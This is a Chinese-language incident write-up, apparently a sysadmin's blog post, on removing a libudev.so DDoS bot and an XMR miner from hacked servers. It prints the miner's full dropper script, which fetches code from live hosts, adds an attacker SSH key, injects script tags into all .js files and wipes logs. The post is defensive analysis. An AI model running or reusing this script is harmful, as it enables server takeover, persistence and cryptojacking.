這兩天使用的公網服務器被入侵了,而且感染了不止一種病毒:一種是 libudev.so,是 DDoS 的客戶端,現象就是不停的向外網發包,也就是超目標發起 DDoS 攻擊;另外一種是挖礦程序,除了發包之外,還會造成很高的 CPU 負載。下面記錄一下病毒的行爲和查殺方法。
1. libudev.so
1.1 病毒特徵
這種病毒的特徵還是很明顯的,進程列表中會出現很多名字很奇怪的進程,如下所示:
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 16430 root 20 0 1408 1204 480 S 0.0 0.0 0:00.00 qfurpuznoegtbv 16429 root 20 0 1408 1204 480 S 0.0 0.0 0:00.00 ygqickkj 16426 root 20 0 1408 1200 480 S 0.0 0.0 0:00.00 fuohkudjxn 16423 root 20 0 1408 1200 480 S 0.0 0.0 0:00.00 haewibkygwtd 16418 root 20 0 1408 1204 480 S 0.0 0.0 0:00.00 guzajbbrdjws ...... 8421 root 20 0 27012 1248 480 S 0.3 0.0 0:05.53 urdivg
除此之外還會在修改 /etc/crontab
和新增文件 /etc/cron.hourly/gcc.sh
來啓動定時任務。
/etc/cron.hourly/gcc.sh
內容如下:
#!/bin/sh PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done cp /lib/libudev.so /lib/libudev.so.6 /lib/libudev.so.6
這個腳本的內容大概是打開網卡,然後啓動 libudev.so。
該程序還會同時啓動多個進程來監控 libudev.so 進程是否被殺掉,如果被關掉了,會再把 libudev.so 拉起來,而且這個監控進程爲了防止備關掉,還會不停的變換自己的進程名和進程號,這就給查殺帶來了更大的難度。
1.2 查殺方法
首先刪除 /etc/crontab 文件中的定時任務,並保護該文件不再被病毒修改:
$ sudo chattr +i /etc/crontab
然後定位病毒的主進程,這需要通過 top
命令查看,往往 CPU 佔用率最高的進程就是了,在我的例子中 8421 就是。定位後讓其暫停執行,這時網絡發包就會停下來了,同時也不會再不停的生成新進程了。
$ sudo kill -stop 8421
接下來解決病毒產生的自啓動文件,注意:具體的文件名稱可能會有所不同,大家要根據自己的情況對應修改,領外 /etc/rc*.d/ 的 S01*
文件都是指向 /etc/init.d/
裏的啓動腳本的軟鏈接,而且是從 rc1.d 一直到 rc5.d 中都有,因爲是軟鏈接,也可以不用刪除。
$ rm -r /etc/init.d/yjrfdbdkfs $ rm -r /etc/rc1.d/S01yjrfdbdkfs ......
病毒啓動腳本中調用的可執行文件也要刪掉,文件存放在 /bin 和 /usr/bin 目錄下,和啓動腳本的名字是一致的,另外大家要留意一下是否有其他文件也被做了篡改,可以用時間倒序排列這兩個目錄下的文件,日期很新的都很有可能是被修改過的,都需要刪除。下面這個例子中,dsxictdfoedxaj 文件明顯就是有問題的。
$ ls -lrt /bin/ ...... -rwxr-xr-x 1 root root 23152 May 14 12:42 kill lrwxrwxrwx 1 root root 20 Jun 11 12:37 mt -> /etc/alternatives/mt lrwxrwxrwx 1 root root 24 Jun 11 12:37 netcat -> /etc/alternatives/netcat lrwxrwxrwx 1 root root 20 Jun 11 12:37 nc -> /etc/alternatives/nc -rwxr-xr-x 1 root root 562346 Oct 24 13:25 dsxictdfoedxaj $ rm -r dsxictdfoedxaj $ ls -lrt /usr/bin/ ...... -rwxr-xr-x 1 root root 562346 Oct 24 11:32 yjrfdbdkfs -rwxr-xr-x 1 root root 562346 Oct 24 11:32 yjrfdbdkfs.sh $ rm -r /usr/bin/yjrfdbdkfs*
病毒在 /etc/cron.hourly/
目錄下產生的定時任務文件也要刪掉,
$ rm -r /etc/cron.hourly/*.sh
最後,刪掉 libudev.so ,再殺掉進程就算是大功告成了:
$ sudo rm -r /lib/libudev.so* $ sudo kill -9 8421
2. XMR 挖礦程序
2.1 病毒特徵
第二種病毒是門羅幣(XMR)挖礦程序,門羅幣似乎是今年年初漲得很快,所以用病毒入侵挖礦的手法也就出現了,病毒主要是通過下載腳本,運行後下載並啓動挖礦程序來工作,腳本的內容如下,關於腳本的代碼分析見於:XMR惡意挖礦案例簡析,裏面講的非常詳細。
# cat /etc/shz.sh #!/bin/sh setenforce 0 2>dev/null echo SELINUX=desabled > /etc/sysconfig/selinux 2>/dev/null sync && echo 3 >/proc/sys/vm/drop_caches crondir='/var/spool/cron/'"$USER" cont=`cat ${crondir}` ssht=`cat /root/.ssh/authorized_keys` echo 1 > /etc/gmbpr2 rtdir="/etc/gmbpr2" oddir="/etc/gmbpr" bbdir="/usr/bin/curl" bbdira="/usr/bin/url" ccdir="/usr/bin/wget" ccdira="/usr/bin/get" mv /usr/bin/wget /usr/bin/get mv /usr/bin/curl /usr/bin/url if [ -f "$oddir" ] then pkill zjgw chattr -i /etc/shz.sh rm -f /etc/shz.sh chattr -i /tmp/shz.sh rm -f /tmp/shz.sh chattr -i /etc/gmbpr rm -f /etc/gmbpr else echo "ok" fi if [ -f "$rtdir" ] then echo "goto 1" >> /etc/gmbpr2 grep -q "46j2h" /etc/config.json if [ $? -eq 0 ]; then echo "config ok" else chattr -i /etc/config.json rm -f /etc/config.json fi chattr -i $cont if [ -f "$bbdir" ] then [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir} else [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir} fi [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 700 /root/.ssh/ [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 600 root/.ssh/authorized_keys [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys ps -fe|grep zigw |grep -v grep if [ $? -ne 0 ] then cd /etc outip=`url icanhazip.com` ip=`echo ${outip//./o}` if [ -z "$ip" ]; then outip=`curl icanhazip.com` ip=`echo ${outip//./o}` fi if [ -z "$ip" ]; then ip="unknow" fi filesize=`ls -l zigw | awk '{ print $5 }'` cfg="/etc/config.json" file="/etc/zigw" if [ -f "$cfg" ] then echo "exists config" else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /etc/config.json elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /etc/config.json elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/config.json elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/config.json fi fi if [ -f "$file" ] then if [ "$filesize" -ne "1467080" ] then chattr -i /etc/zigw rm -f zigw if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw fi fi else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw fi fi chmod 777 zigw sed -i "s/unknow/${ip}/g" config.json sleep 5s ./zigw else echo "runing....." fi chmod 777 /etc/zigw chattr +i /etc/zigw chmod 777 /etc/shz.sh chattr +i /etc/shz.sh shdir='/etc/shz.sh' if [ -f "$shdir" ] then echo "exists shell" else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /etc/shz.sh elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /etc/shz.sh elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/shz.sh elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/shz.sh fi sh /etc/shz.sh fi else echo "goto 1" > /tmp/gmbpr2 chattr -i $cont [[ $cont =~ "shz.sh" ]] || echo "* * * * * sh /tmp/shz.sh >/dev/null 2>&1" >> ${crondir} ps -fe|grep zigw |grep -v grep if [ $? -ne 0 ] then cd /tmp outip=`url icanhazip.com` ip=`echo ${outip//./o}` if [ -z "$ip" ]; then outip=`curl icanhazip.com` ip=`echo ${outip//./o}` fi if [ -z "$ip" ]; then ip="unknow" fi filesize=`ls -l zigw | awk '{ print $5 }'` cfg="/tmp/config.json" file="/tmp/zigw" if [ -f "$cfg" ] then echo "exists config" else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /tmp/config.json elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /tmp/config.json elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/config.json elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/config.json fi fi if [ -f "$file" ] then if [ "$filesize" -ne "1467080" ] then chattr -i /tmp/zigw rm -f zigw if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw fi fi else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw fi fi chmod 777 zigw sed -i "s/unknow/${ip}/g" config.json sleep 5s ./zigw else echo "runing....." fi chmod 777 /tmp/zigw chattr +i /tmp/zigw chmod 777 /tmp/shz.sh chattr +i /tmp/shz.sh shdir='/tmp/shz.sh' if [ -f "$shdir" ] then echo "exists shell" else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /tmp/shz.sh elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /tmp/shz.sh elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/shz.sh elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/shz.sh fi sh /tmp/shz.sh fi fi iptables -F iptables -X iptables -A OUTPUT -p tcp --dport 3333 -j DROP iptables -A OUTPUT -p tcp --dport 5555 -j DROP iptables -A OUTPUT -p tcp --dport 7777 -j DROP iptables -A OUTPUT -p tcp --dport 9999 -j DROP service iptables reload ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9 find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\; history -c echo > /var/spool/mail/root echo > /var/log/wtmp echo > /var/log/secure echo > /root/.bash_history
2.2 查殺方法
病毒的工作方法和上一個是類似的,也是會加載一個任務,並啓動多個進程,互相監控和保護,只是細節有些不同。
該病毒定時任務是寫進了文件:/var/spool/cron/root
,需要對應刪除裏面的內容。
然後要刪除病毒的啓動腳本:
$ sudo rm /etc/shz.sh
找到病毒的主進程(找到主進程的方式和之前也差不多,找 CPU 佔用率最高的進程就可以了。),並停掉:
$ sudo kill -stop 23701 24192
刪除主進程的配置文件和可執行文件:
$ sudo rm /etc/conf.json $ sudo rm /etc/zjgw
刪除其他病毒添加的文件:
$ sudo rm /etc/conf.n $ sudo rm /etc/zaker
最後殺掉進程即可:
$ sudo kill -9 23701 24192
另外 /tmp
目錄下也會有一些殘留文件,一併刪除吧:
# ll /tmp/ total 40 drwxrwxrwt 8 root root 4096 Oct 24 03:10 ./ drwxr-xr-x 24 root root 4096 Oct 23 06:18 ../ drwxrwxrwt 2 root root 4096 Sep 26 10:38 .ICE-unix/ drwxrwxrwt 2 root root 4096 Sep 26 10:38 .Test-unix/ drwxrwxrwt 2 root root 4096 Sep 26 10:38 .X11-unix/ drwxrwxrwt 2 root root 4096 Sep 26 10:38 .XIM-unix/ drwxrwxrwt 2 root root 4096 Sep 26 10:38 .font-unix/ -rwxr-xr-x 1 root root 5 Oct 18 13:48 gates.lod* -rwxr-xr-x 1 root root 5 Oct 18 13:48 moni.lod* drwx------ 3 root root 4096 Oct 18 13:47 systemd-private-8292a854ab55417a91c7b42f6360aa75-systemd-timesyncd.service-dTAzr3/ -rw-r--r-- 1 root root 0 Oct 18 13:49 tmp.l # rm gates.lod moni.lod tmp.l
3 總結
本次有多臺服務器感染病毒,造成了不小的影響,主要的問題是因爲 root 用戶使用了強度較弱的口令,同時在公網暴露了 SSH 端口,另外虛擬機的基礎鏡像中就已經攜帶了病毒,造成每個產生的實例啓動後都帶上了病毒。
所以基礎的安防工作還是要從以下幾個方面入手:
- 減少公網暴露的端口數量;
- 禁止使用 root 用戶進行 SSH 登錄;
- 加強用戶口令的強度;
- 對基礎鏡像做安全檢查;
- 加強對線上服務的監控並設置告警規則。